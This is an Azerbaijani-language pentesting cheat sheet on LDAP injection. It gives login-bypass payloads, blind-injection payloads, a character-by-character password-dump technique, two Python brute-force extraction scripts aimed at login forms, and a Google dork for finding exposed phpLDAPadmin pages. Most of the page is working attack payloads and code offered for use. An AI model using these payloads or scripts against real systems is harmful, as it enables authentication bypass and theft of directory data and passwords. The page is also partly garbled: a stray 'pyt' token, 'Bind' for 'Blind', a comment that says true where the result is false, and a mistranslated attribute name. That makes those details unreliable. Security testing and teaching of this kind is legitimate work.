LDAP Injection

LDAP injeksiyası

LDAP Injection istifadəçi daxiletməsi əsasında LDAP bəyanatlarını yaradan veb əsaslı proqramlardan istifadə etmək üçün istifadə edilən hücumdur. Tətbiq istifadəçi daxiletməsini lazımi qaydada sanitarlaşdıra bilmədikdə, yerli proksidən istifadə edərək LDAP ifadələrini dəyişdirmək mümkündür.

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE

Misal üçün:

(&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

Siz verilənlər bazasına daxil ola bilərsiniz və bu, bir çox müxtəlif növ məlumatı ehtiva edə bilər.

OpenLDAP: 2 filtr gəlsə, yalnız birincisini yerinə yetirir.

ADAM və ya Microsoft LDS: 2 filtrlə səhv salırlar.

SunOne Directory Server 5.0: Hər iki filtri yerinə yetirir.

Filtrləri düzgün sintaksislə göndərmək çox vacibdir, əks halda xəta baş verəcək. Yalnız 1 filtr göndərmək daha yaxşıdır.

Filtr aşağıdakılarla başlamalıdır: & və ya |

Misal: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Sonra: (&(objectClass=*)(ObjectClass=*))birinci filtr olacaq (icra olunan).

Login Bypass

LDAP parolu saxlamaq üçün bir neçə formatı dəstəkləyir: clear, md5, smd5, sh1, sha, crypt. Beləliklə, parolun içərisinə daxil etdiyinizdən asılı olmayaraq, o, heşlənmiş ola bilər.

user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd)
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))

Blind LDAP Injection

Hər hansı bir məlumatın qaytarıldığını yoxlamaq və mümkün Bind LDAP Enjeksiyonunu təsdiqləmək üçün Yanlış və ya Doğru cavabları məcbur edə bilərsiniz:

#Bu, True ilə nəticələnəcək, ona görə də bəzi məlumatlar göstəriləcək
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#Bu, True ilə nəticələnəcək, ona görə də heç bir məlumat qaytarılmayacaq və ya göstərilməyəcəkPayload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

Siz ascii hərfləri, rəqəmləri və simvolları üzərində təkrarlaya bilərsiniz:

(&(sn=administrator)(parol=*)) : OK
(&(sn=administrator)(parol=A*)) : KO
(&(sn=administrator)(parol=B*)) : KO
...
(&(sn=administrator)(parol=M*)) : OK
(&(sn=administrator)(parol=MA*)) : KO
(&(sn=administrator)(parol=MB*)) : KO
...

Skriptlər

Etibarlı LDAP sahələrini kəşf edin

LDAP obyektləri standart olaraq məlumatı saxlamaq üçün istifadə edilə bilən bir neçə atributdan ibarətdir. Bu məlumatı çıxarmaq üçün onların hamısını kobud şəkildə zorlamağa cəhd edə bilərsiniz. Defolt LDAP atributlarının siyahısını burada tapa bilərsiniz.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()pyt

Xüsusi Blind LDAP Enjeksiyonu ("*" olmadan)

#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Last updated